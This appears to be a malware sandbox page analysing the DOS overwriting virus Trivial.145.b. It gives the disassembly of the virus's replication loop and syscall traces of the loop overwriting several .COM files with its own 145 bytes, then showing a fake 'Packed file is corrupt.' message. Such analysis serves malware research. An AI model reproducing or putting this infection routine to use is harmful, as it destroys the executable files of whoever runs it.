Sample viewer

vx.netlux.org/Virus.DOS.Trivial.145.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:51:02.279078557Z 44 PC: 12a71 | Get time 0x12a71: cmp dh, 0x1d
0x12a74: ja 0x12a43
0x12a76: mov ah, 0x4e
0x12a78: mov cl, 0x20
0x12a7a: mov dx, 0x166
0x12a7d: int 0x21
0x12a7f: mov ax, 0x3d01
0x12a82: mov dx, 0x9e
0x12a85: int 0x21
0x12a87: mov bx, ax
0x12a89: mov dx, 0x100
0x12a8c: mov cx, 0x91
0x12a8f: mov ah, 0x40
0x12a91: int 0x21
0x12a93: mov ah, 0x3e
0x12a95: int 0x21
0x12a97: mov ah, 0x4f
0x12a99: int 0x21
0x12a9b: jae 0x12a7f
0x12a9d: mov ah, 9
2018-12-17T22:51:02.283198177Z 78 PC: 12a7f | Find first file
2018-12-17T22:51:02.290316329Z 61 PC: 12a87 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:51:02.297756867Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.304898052Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.319931123Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.323072515Z 61 PC: 12a87 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:51:02.330176801Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.338249888Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.349515652Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.355697164Z 61 PC: 12a87 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:51:02.365400854Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.372876197Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.382003133Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.38546098Z 61 PC: 12a87 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:51:02.393649071Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.401521852Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.410839917Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.414751435Z 61 PC: 12a87 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:51:02.421645727Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.430653819Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.440969198Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.449508771Z 61 PC: 12a87 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:51:02.457084593Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.465251114Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.47414872Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.477464879Z 61 PC: 12a87 | Open file (Filename = 'PAH.COM')
2018-12-17T22:51:02.485018199Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-17T22:51:02.492436134Z 62 PC: 12a97 | Close file
2018-12-17T22:51:02.50104628Z 79 PC: 12a9b | Find next file
2018-12-17T22:51:02.505100195Z 9 PC: 12aa4 | Display string (String= 'Packed file is corrupt.')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":10412,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:57.863079171Z 44 PC: 12a71 | Get time 0x12a71: cmp dh, 0x1d
0x12a74: ja 0x12a43
0x12a76: mov ah, 0x4e
0x12a78: mov cl, 0x20
0x12a7a: mov dx, 0x166
0x12a7d: int 0x21
0x12a7f: mov ax, 0x3d01
0x12a82: mov dx, 0x9e
0x12a85: int 0x21
0x12a87: mov bx, ax
0x12a89: mov dx, 0x100
0x12a8c: mov cx, 0x91
0x12a8f: mov ah, 0x40
0x12a91: int 0x21
0x12a93: mov ah, 0x3e
0x12a95: int 0x21
0x12a97: mov ah, 0x4f
0x12a99: int 0x21
0x12a9b: jae 0x12a7f
0x12a9d: mov ah, 9
2018-12-25T12:27:57.865789792Z 78 PC: 12a7f | Find first file
2018-12-25T12:27:57.871639716Z 61 PC: 12a87 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:27:57.877953281Z 64 PC: 12a93 | Write file or device (Write 145 bytes on handle 5)
2018-12-25T12:27:57.88576219Z 62 PC: 12a97 | Close file
2018-12-25T12:27:58.849015804Z 79 PC: 12a9b | Find next file
2018-12-25T12:27:58.852031418Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:58.860687443Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:58.868167483Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:58.928975722Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:58.932665137Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:58.939408742Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:58.947606279Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:59.011263395Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:59.014498034Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:59.020842176Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:59.027226552Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:59.102388711Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:59.105459472Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:59.112588651Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:59.120205026Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:59.175048246Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:59.177988278Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:59.185729799Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:59.19209606Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:59.240741283Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:59.244444215Z 61 PC: 12a87 | Open file (See above)
2018-12-25T12:27:59.251339753Z 64 PC: 12a93 | Write file or device (See above)
2018-12-25T12:27:59.258242321Z 62 PC: 12a97 | Close file (See above)
2018-12-25T12:27:59.372359112Z 79 PC: 12a9b | Find next file (See above)
2018-12-25T12:27:59.375823484Z 9 PC: 12aa4 | Display string (String= 'Packed file is corrupt.')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":30,"TimeBased":true,"OriginalID":10412,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:58.490862284Z 44 PC: 12a71 | Get time 0x12a71: cmp dh, 0x1d
0x12a74: ja 0x12a43
0x12a76: mov ah, 0x4e
0x12a78: mov cl, 0x20
0x12a7a: mov dx, 0x166
0x12a7d: int 0x21
0x12a7f: mov ax, 0x3d01
0x12a82: mov dx, 0x9e
0x12a85: int 0x21
0x12a87: mov bx, ax
0x12a89: mov dx, 0x100
0x12a8c: mov cx, 0x91
0x12a8f: mov ah, 0x40
0x12a91: int 0x21
0x12a93: mov ah, 0x3e
0x12a95: int 0x21
0x12a97: mov ah, 0x4f
0x12a99: int 0x21
0x12a9b: jae 0x12a7f
0x12a9d: mov ah, 9